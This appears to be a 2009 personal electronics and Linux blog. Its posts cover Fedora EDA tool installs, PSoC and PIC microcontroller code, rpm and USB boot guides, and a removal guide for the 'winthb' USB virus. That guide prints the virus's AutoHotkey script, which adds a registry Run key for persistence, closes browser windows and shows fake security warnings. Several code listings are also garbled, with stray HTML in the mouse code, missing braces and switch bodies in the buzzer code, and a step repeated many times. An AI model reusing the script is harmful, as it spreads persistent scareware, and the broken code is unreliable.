Tuesday, December 22, 2009

Installing all the Free and Open Source EDA Tools on Fedora Release 12 Leonidas i386

If you have a fast Internet connection and you have established the Internet connection in your machine then follow the steps given below:
1. Open an instance of a terminal and run su to get root access:
]$ su
2. Enter the root password and press ENTER. On correct root password entry the prompt of the shell would change from ]$ to ]#.
3. Run the following command (copy and paste it to the terminal and press ENTER) to use the package manager of Fedora, yum for installing the tools:
]# yum -y install irsim alliance* pharosc* ngspice* magic magic-doc iverilog ghdl* gtkwave gwave gspiceui \
octave* qtoctave freehdl archimedes electric ktechlab kicad pikdev piklab avr* pikloops sdcc* gsim85 \
netgen xcircuit geda* gerbv vhd2vl gds2pov dinotrace drawtiming gnuplot gresistor qucs gnucap linsmith \
nasm yasm pcb tkgate toped vym yum-presto perl-Hardware-Vhdl-Parser perl-Hardware-Vhdl-Tidy \
perl-Hardware-Vhdl-Lexer perl-Verilog presto-utils perl-Verilog-CodeGen perl-Hardware-Verilog-Parser \
perl-Verilog-Readmem perl-SystemPerl perl-SystemC-Vregs perl-Verilog perl-ModelSim-List dia nedit \
gpsim* gputils* sk2py deltarpm LabPlot plotutils gtkterm gtk+ gtk+-devel gperf ddd yumex fvwm
yum will do all the dependenciy check for u.done !!!

Tuesday, October 13, 2009

How to create a simple 3 button USB mouse using PSoC USB device CY8C24794

Writing code for a usb mouse is such a complicated thing that anybody learning the report structure will go mad. Here comes Cypress's PSoC .PSoC device CY8C24794 is a USB programmable device with a USB interface.Also it can be powered using the USB cable.We can make a simple 3 button mouse using this device within 10 mins,if the CY3214 kit is available.The PSoC makes it all possible.!!!!!The most important thing is to understand the working of basic things and then the technical stuff will become simple.Here a person who doesn't know how to configure the PSoC using the PSoC designer software is advised to go through the Cypress site to get the detailed tutorial. Anybody can download the tutorial by registering into the Cypress site.Also there is a site called PSoC developer where we can find some PSoC related useful posts.This is the code for the 3 button USB mouse
// C main line


#include // part specific constants and macros
#include "PSoCAPI.h" // PSoC API definitions for all User Modules
#include "DualADC8.h"

BYTE abMouseData[4] = {0,0,0,0};

void main()

/*adc initialisation*/
char cResult1, cResult2;
char cResult1_prev, cResult2_prev;
M8C_EnableGInt; // Enable global interrupts
DUALADC8_Start(DUALADC8_HIGHPOWER); // Turn on Analog section
DUALADC8_SetCalcTime(100); // Set CalcTime to 100
DUALADC8_GetSamples(); // Start ADC
/*usb initialisation*/

M8C_EnableGInt; //Enable Global Interrupts
USBFS_Start(0, USB_5V_OPERATION); //Start USBFS Operation using device 0
//and with 5V operation
while(!USBFS_bGetConfiguration()); //Wait for Device to enumerate
//Enumeration is completed load endpoint 1. Do not toggle the first time
USBFS_LoadInEP(1, abMouseData, 3, USB_NO_TOGGLE);

/*lcd initialisation*/
while(!USBFS_bGetEPAckState(1)); //Wait for ACK before loading data
//ACK has occurred, load the endpoint and toggle the data bit
USBFS_LoadInEP(1, abMouseData, 3, USB_TOGGLE);
while(DUALADC8_fIsDataAvailable == 0);
cResult1 = DUALADC8_cGetData1();
cResult2 = DUALADC8_cGetData2ClearFlag();
if ((cResult1_prev-cResult1)> 20 ||(cResult1-cResult1_prev) > 20)
abMouseData[1] = 0x01;
else if ((cResult1_prev-cResult1)<> 20 ||(cResult2-cResult2_prev) > 20)
abMouseData[2] = 0x01;
else if ((cResult2_prev-cResult2)< style="text-align: justify;">Here in this code the mouse x and y motions are mimicked by using 2 potentiometers.The PSoC core reads the ADC (8bit)continuously and sends the conditioned value to the PSoC core for processing and sending the required data to the system. The required value is sent through the USB interface.The PRT0DR is the port 0 data register.where the data read from the input ports of the PSoC is stored. The abMouseData is an array which is actually called the report descriptor by software guys who code for this complex USB HID device.The format for the USB HID mouse is given below

Monday, August 31, 2009

PSoC a new way to design

Cypress's PSoC® Programmable System-on-Chip is the most complete solution for embedded systems, combining an 8-bit microcontroller, flash memory, and SRAM with customizable analog and digital blocks.

PSoC is a software configured, mixed-signal array with a built-in Microcontroller unit core. The core is a Cypress proprietary, 8bit harward design called the M8C. PSoC has three separate memory spaces: paged SRAM for data, flash memory for instructions and fixed data, and I/O Registers for controlling and accessing the configurable logic blocks and functions.
Here is a comparison table showing the major differences between PSoC ASIC and FPGA

Time to Market hours
Design Complexity Very less
less compared to ASIC
Configuration can be changed during run time cannot be changed can be changed to some extend
Freq of operation Very less More Less comp to ASIC

The configuration is obtained by loading instructions from the built-in Flash memory in a PSoC whereas in an FPGA the configuration is loaded at the begining from an EEPROM into SRAM distributed memory as well as block memory.Also the FPGA uses some configurable logic blocks(CLBs).

PSoC most closely resembles a MCU in usage, where code is executed to interact with the user-specified peripheral functions (called "User Modules"), using automatically generated APIs and interrupt routines. The PSoC Designer IDE generates the startup configuration code and peripheral APIs automatically based upon the users selections in a visual-studio-like GUI.Cypress offers a visual, code-free embedded design tool for PSoC called PSoC Express. Using PSoC Express, most features of the PSoC can be accessed with drag and drop icons and logical expressions. The vishual design is compiled to executable code without exposing the user to the underlying converted code, though a visual design can be converted and used as a basis of a traditional code-based design in PSoC Designer. Visual design elements cover features such as temperature sensors, fan control, accelerometers, I2C master and slave protocols, USB virtual serial ports, capacitive sensors, and wireless 2.4 GHz radio communications.PSoC programmer is another software that is available in cypress.com that can be used to program the bitstream into the PSoC devices.
PSoC Designer
PSoC programmer
You have to register for getting the softwares and u can create cases for queries in cypress.com.

In a PSoC device the user defines What functions appears,When they appear and how !!!!!

Four Levels of Documentation
1)Technical ref manuals
2)User module datasheets (available with PSoC designer software)
3)Device datasheets
4)Project Config datasheets generated by the tool at the end of the design

Dynamic Reconfiguration
Dynamic reconfiguration is a similar kind of a thing like polymorphism in C++. One device performing different functions at different times. Multiple function sets operate on same hardware at different times in the same application. In this case we dynamically load the configuration at run time.
PSoC Applications
Voltage Monitoring,Airflow Sensing, Humidity Sensing, I2C, SPI, UART, CPU Reset, Temp Sensing, Pressure Sensing, Current Sensing, Accelerometers, Fan Control, USB devices etc are the typical applications where the PSoC can be used.

Sunday, August 23, 2009

What is rpm?Why rpm?How rpm ?and When rpm ?

What is rpm ?
It is a package file format or a software packaged in that format such as [softwarename.version.release.architechture].rpm. Originally developed by the Red Hat and it is used by most of the Red Hat based platforms like fedora.
Why rpm ?
-rpm repos contains thousands of free softwares [repos are places in web where the packages are stored and made available to public ]
-easy to install [rpm -i filename.rpm]
-easy to transport [easy to copy the single file instead of the scattered source ]
-easy to check integrity [we can easily check the integrity using the md5 ]
-a new version of the rpm file format drpm(Delta rpm) saves a lot of bandwidth while updating the system.
The major disadvantage is that the package cannot perform automatic dependency check.For that we have to use the package managers such as yum.
How rpm ?
Rpm files can be installed in a supporting platform by simply typing 2 commands in the shell.
take a shell
become the super user
$ su
goto the directory containing the rpm file
# rpm -ivh filename.rpm
for fresh installation of a package
# rpm -Uvh filename.rpm
for Updating a package
Done !!!!!
So this is how it looks simple other than compiling the whole code once.
When rpm ?
U may wonder why we need these thing if we have a yum package manager or yumex (gui for yum). Those are only useful when we have an high speed internet connection. Imagine a situation where we need 100 systems to be installed with a same set of packages and we have a damn slow net connection. One thing we can do is that , we can make the connection a high speed one. But imagine a situation where u can install the whole set of packages with in adownload time of one package. Will that make a difference ?
Yea it will
The solution is that download the packages using a yum package manager, which will automatically download the depedencies. What this yum does is that after installation this manager deletes the whole packages downloaded from the repos. So u cannot use it to install the software in another system. Copy the rpm files before it deletes ,thats the solution.
The downloaded rpm files are stored in the folder /var/cache/yum/
there will be two directories, in case of fedora it will be fedora and update
either copy these folders after the downloading of packes by the yum is complete.
Or kill the yum process by Ctrl -C or kill using kill -9 pid of yum ,then copy the files
Next step is that we can use the yum to install the packages or we can use the rpm command to install the files
Installation using the yum in another machine.
Copy the files to the same /var/cache/yum/ directory using the cp -rfu command which will update copy the files
then give the command yum -y install package names given in the system where u have downloaded the packages
Installation using the rpm command in another machine
Copy the files to any directory . Go to that directory in shell then
goto the updates/packages directory
give command
# rpm -Uvh *
then goto the fedora/packages directory
give the command
#rpm -ivh *

Done !!!!!!!!!!!!!
In case it is showing any dependency problem u have to download the corresponding package.
If dependencies are more go with the first method.

Friday, July 24, 2009

How to Install Fedora 11 from a USB bootable flash drive

  • Plug in the USB device into a Fedora 11 machine, format it using the gparted or anything else using gparted you have to become root ie ,>>$su >>password: After entering the password type >># gparted
  • Unmount the USB device to format it. Then format that using the FAT32 file system.Also make the boot flag marked by right clicking and taking "manage flags" in gparted.
  • Now make sure that the USB is not mounted.Type the command
    >>#livecd-iso-to-disk /[pathto the iso image]/ /dev/sdb1
  • After the bootup disk creation mount the USB device and create a directory images in it >>#mkdir /media/USB >>#mount /dev/sdb1 /media/USB/
    >># mkdir /media/USB/images >>#mkdir /mnt/iso >> mount -o loop /[path to the iso images] /mnt/iso >># cp -rfv /mnt/iso/images/install.img /media/images/
  • At last copy the iso file to the USB root ie, >>#cp -rfv /[path to iso file] /media/USB/
  • Reboot the system and make the boot order to boot from USB disk
  • !!!!!Done!!!!!

Monday, June 29, 2009

How to install portable Damn Small Linux in USB drive?

Damn Small Linux, as its name says, is an extremely small linux distribution.It will take around 51MB disk space.We can port the DSL just like that in a pen drive.Also we can store the worked files in the usb pen drive itself. It is just like we have a fuly installed computer in hand in a usb flash device. We can take that to anywhere we want and just need to enable the bios option boot from USB device. Also set the usb device as the first boot device in boot device priority.

Minimum Requirements for DSL with X-window

  • 486dx or 100% compatible processor
  • 16mb ram (24mb recommended)
  • dual-speed CDROM (quad-speed or better recommended)
  • 1.44mb floppy drive (for boot floppy, if needed)
  • VGA monitor and video card
  • a mouse (serial, ps/2, usb)
DSL latest release is available in the following mirrors

Current Full Mirror List:



ftp://ftp.is.co.za/linux/distributions/damnsmall/ (South Africa)

http://gd.tuwien.ac.at/opsys/linux/damnsmall/ (Austria) also rsync and FTP

http://gulus.USherbrooke.ca/pub/distro/DamnSmallLinux/Location: (Quebec,

http://ftp.belnet.be/packages/damnsmalllinux/ (Belgian)

ftp://ftp.belnet.be/packages/damnsmalllinux/ (Belgian)



Rysnc Mirror:

rsync ftp.belnet.be::packages/damnsmalllinux/


Bittorrent Mirror:

Linux Tracker, Torrent & Xdelta




Portable DSL usb flash pen drive install

1)download the syslinux

2)download the dsl-xxxx.embedded.zip file

3)extract the syslinux-3.82.tar.gz file to a folder named syslinux or whatever

4)take the command prompt in the windows and goto the syslinux/win32/ directory

5)run the command win325)run the command win325)run the command win325)run the command win325)run the command win325)run the command win325)run the command win325)run the command win32$>syslinux -ma [usbdevicedrive letter]:

6)extract the dsl-xxxx.embedded.zip file to the usb device

7)reboot the system and press enter when the boot: .. screen appears

Saturday, June 13, 2009

Ocatve-An alternative to MATLAB

Some FAQs

* It is one of the High Priority Free Software Projects in GNU

* Creator- John W. Eaton

* Octave became GNU Octave in 1997 (beginning with version 2.0.6)

* Gnu octave - Free software (GPL)

* Documentation- http://www.octave.org/docs.html

* Qt octave is a GUI for Gnu octave

* Convenient command line interface for solving linear and non linear problems numerically

* Prototyping, numerical experiments etc

Octave As An Analysis Tool

* Solving numerical linear algebra problems

* Finding the roots of nonlinear equations

* Integrating ordinary functions

* Manipulating polynomials

* Integrating ordinary differential and differential-algebraic equations

Ocatve As A System Simulation Tool

* Control Theory

* Signal Processing

* Image Processing

* Audio Processing

Octave As A Computational Engine

* Programmable

* Easily Extendible

* Graphical Comparison Tool

Want to learn octave visit octave tutorial

for octave graphical program examples goto octave graphical programs

Thursday, May 28, 2009

Download videos from youtube, daily motion etc without any softwares

Save ur valuable usage, if u use a limited connection. Go to the web site, u need to down load the video, view the video completely and after viewing dont close the browser. 
For Internet explorer
Go to the folder given below 
windows installation directory:\Documents and Settings\user\Local Settings\Temporary Internet Files\ 
Here u can find the file cached.You can copy the file by just viewing the size of the file and copying the file to another folder.opening the file may ask a question like this 

so copy that file to another folder and open from there
rename the file as u wish
!!!!!!!!!!!!!! Booom u have done with the download process 
For Mozilla firefox
Windows installation directory :\Documents and Settings\user\Local Settings\Application Data\Mozilla\Firefox\Profiles\xqfqfvde.default\Cache\ 
Here u can find the file cached.You can copy the file by just viewing the size of the file and copying the file to another folder.
there u are 

Monday, January 26, 2009

How to remove virus winthb also win.exe and avgs.exe

winthb is a virus program recently came to my system from a usb flash device. It hides the hidden folders completely and copies the autorun.inf file to c: drive and reproduces it whenever we delete that.The icon of the c: drive changes to something like below

The virus program also has the symptoms listed below,

1. when we try to search orkut in google, it will display an error message " WARNING,orkut is sending viruses to your pc. To protect your pc close this window ,orkut is infected by jammer worm " also it will play a music . (win.mp3)
2. when we try youtube ,WARNING,Dangerous script send by youtube, Windows system files damage if this script run
3.In my system mozilla firefox was disabled when the thb fellow came ,anyway the firefox showed "File missing,TCP/IP module Missing from npqtplugin4.dll. it may infected by virus"

How to remove winthb virus
take start>run>enter temp
clear the directory
also run %temp 
clear that also
As a first step when u boot into windows press ALT+CTRL+DEL.Stop the process win.exe and avgs.exe if they are running.Goto run type regedit(enter).Then the registry editor window will come.[1]Goto HKEY_LOCAL_MACHINE,SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Folder\Hidden\SHOWALL,checkedvalue will be made 0 by the program make it 1.
Now all the hidden files will be available. Goto Tools>folderoptions>view>show all hidden files.
Now search for avgs.exe in the windows search engine.If there is a file available in the search loacte its path.Do not double click on any drives to get into them because most of the viruses get into system when we double click on the drive by running the autorun.inf file.If we have to , do a adreess bar opening .I got the fellows from my C:\windows\system32\win.dll\
the folder icon for win.dll was not appearing as a usual folder icon it was the icon for dll files and also it was hidden. So please do not run any virus while doing these.If u do so u wont see the hidden files. In this case u have to do the [1].FInd the folder and delete it. Find any file named win.exe ,avgs.exe,.The folder C:\windows\system32\win.dll\ contained some files named 

The virus script looks like the one below,
Run D:\RECYCLE\win.exe D:\RECYCLE\script1.txt
Run D:\RECYCLE\avgs.exe D:\RECYCLE\reproduce.txt

ArrayCount = 0
Loop, Read,D:\RECYCLE\driveList.txt
    ArrayCount += 1
    Array%ArrayCount% := A_LoopReadLine


Loop %ArrayCount%

    element := Array%A_Index%


ifnotequal,regdata,D:\RECYCLE\win.exe D:\RECYCLE\std.txt
Regwrite,REG_SZ,HKEY_LOCAL_MACHINE,SOFTWARE\Microsoft\Windows\CurrentVersion\policies\Explorer\Run,winlogon,D:\RECYCLE\win.exe D:\RECYCLE\std.txt




WinGetActiveTitle, ed
   winclose %ed%
   msgbox,262160,WARNING,orkut is sending viruses to your pc. To protect your pc close this window `r`r                orkut is infected by jammer worm ,30
   winclose %ed%
   msgbox,262160,WARNING,Dangerous script send by youtube, Windows system files damage if this script run`r`r
 ifinstring,ed,Mozilla Firefox
    winclose %ed%
    msgbox,262160,File missing,TCP/IP module Missing from npqtplugin4.dll. it may infected by virus  `r`r       ,30
ifwinactive ahk_class IEFrame

 ControlGetText,ed,edit1,ahk_class IEFrame
    winclose ahk_class IEFrame
    msgbox,262160,WARNING,orkut is sending viruses to your pc. To protect your pc close this window `r`r                orkut is infected by jammer worm ,30
 ControlGetText,ed,edit2,ahk_class IEFrame
    winclose ahk_class IEFrame
    msgbox,262160,WARNING,orkut is sending viruses to your pc. To protect your pc close this window `r`r                orkut is infected by jammer worm ,30
 ControlGetText,ed,edit3,ahk_class IEFrame
    winclose ahk_class IEFrame
   msgbox,262160,WARNING,orkut is sending viruses to your pc. To protect your pc close this window `r`r                orkut is infected by jammer worm ,30
 ControlGetText,ed,edit4,ahk_class IEFrame
    winclose ahk_class IEFrame
    msgbox,262160,WARNING,orkut is sending viruses to your pc. To protect your pc close this window `r`r                orkut is infected by jammer worm ,30
 ControlGetText,ed,edit1,ahk_class IEFrame
    winclose ahk_class IEFrame
    msgbox,262160,WARNING,Dangerous script send by youtube, Windows system files damage if this script run`r`r
 ControlGetText,ed,edit2,ahk_class IEFrame
    winclose ahk_class IEFrame
    msgbox,262160,WARNING,Dangerous script send by youtube, Windows system files damage if this script run`r`r
 ControlGetText,ed,edit3,ahk_class IEFrame
    winclose ahk_class IEFrame
   msgbox,262160,WARNING,Dangerous script send by youtube, Windows system files damage if this script run`r`r
 ControlGetText,ed,edit4,ahk_class IEFrame
    winclose ahk_class IEFrame
    msgbox,262160,WARNING,Dangerous script send by youtube, Windows system files damage if this script run`r`r


  • Creates c:\windows\system32\win.dll\svchost.exe
  • create folder C:\WINDOWS\system32\win.dll
  • create folder C:\WINDOWS\system32\win.dll\reg.bkp
  • Copies filec:\docume~1\user\locals~1\temp\winthb\win.exe to c:\windows\system32\win.dll\win.exe
  • Copies filec:\docume~1\user\locals~1\temp\winthb\avgs.exe to c:\windows\system32\win.dll\avgs.exe
  • Copies filec:\docume~1\user\locals~1\temp\winthb\drivelist.txt to c:\windows\system32\win.dll\drivelist.txt
  • Copies filec:\docume~1\user\locals~1\temp\winthb\win.mp3 to c:\windows\system32\win.dll\win.mp3
  • Copies filec:\docume~1\user\locals~1\temp\winthb\Icon.ico to c:\windows\system32\win.dll\Icon.ico
  • Copies filec:\docume~1\user\locals~1\temp\winthb\thb.ico to c:\windows\system32\win.dll\thb.ico
  • Copies filec:\docume~1\user\locals~1\temp\winthb\DLL.ico to c:\windows\system32\win.dll\DLL.ico
  • Deletes c:\autorun.inf
  • Copies filec:\docume~1\user\locals~1\temp\winthb\thb.ico to c:\thb.ico
  • Copies filec:\docume~1\user\locals~1\temp\winthb\autorun.inf to c:\autorun.inf

After all these things i found a copy of the thb files in my D:\RECYCLE it looked like RECYCLER but there was no R at the end.Clear that aslo.Also idont know whether the script has any other effects.If any feel free to comment.Thanks

Monday, January 12, 2009

Simple College /School Quizzing Buzzer Circuit using PIC 18f4550 with 7 Segment Display

A buzzer finds application in quizzing, where the quiz master must know exactly who presses the first button to answer the question.Instead of glowing the bulb corresponding to the person who presses the button first, we can show the number corresponding to the person in a 7 segment display.This is desirable since its simple and less power consuming than lighting a bulb.We can simply program the PIC 18f4550 using USB cable connected to the system. No need for any programmer arrangement if we have already programmed the boot loader into the device. We need the PICDEM FS USB tool available in Microchip's site.This tool helps us to program the device using USB cable. Another tool called C-18 needs to to installed on the system along with the mplab ide to develop the software for the project .
#include "p18cxxx.h"
#include "usart.h"

extern void _startup (void);
// See c018i.c in your C18 compiler directory
#pragma code _RESET_INTERRUPT_VECTOR = 0x000800
void _reset (void)
_asm goto _startup _endasm
#pragma code

#define byte unsigned char
void delay (void);
void display(byte);
void main(void)
byte c=0;

TRISD = 0;
TRISB = 255;


c= ~PORTB;
switch (c)
case 1:
case 2:
case 4:
case 8:
case 16:
case 32:
case 64:
case 128:




//the while loop resets to start of main if reset is done pin 1 gnded (hardware reset)

void delay(void)
long int count = 200000;
while (count--)


void display(byte a)
{// these may or maynot work on all 7 segments to determine which segment is which we need to write test programs
case 0: PORTD = 0b01000000;break;
case 1: PORTD = 0b11111010;break;
case 2: PORTD = 0b00100100;break;
case 3: PORTD = 0b00110000;break;
case 4: PORTD = 0b10010010;break;
case 5: PORTD = 0b00010001;break;
case 6: PORTD = 0b00000001;break;
case 7: PORTD = 0b11111000;break;
case 8: PORTD = 0b00000000;break;
case 9: PORTD = 0b10010000;break;
case 10: PORTD = 0b11111111;break;
default :
PORTD = 0b11111111;

PORTD is used as the output port ,ie the seven segment display to display the number corresponding to the pressed pin on PORTB.PORTB is normally connected to VCC through a pullup (10k). Each pin is gnded to detect a key press .A switch is connected between the pin and the gnd.The ckt detects the first key pressed among 8 keys and displays the keynumber on seven segment.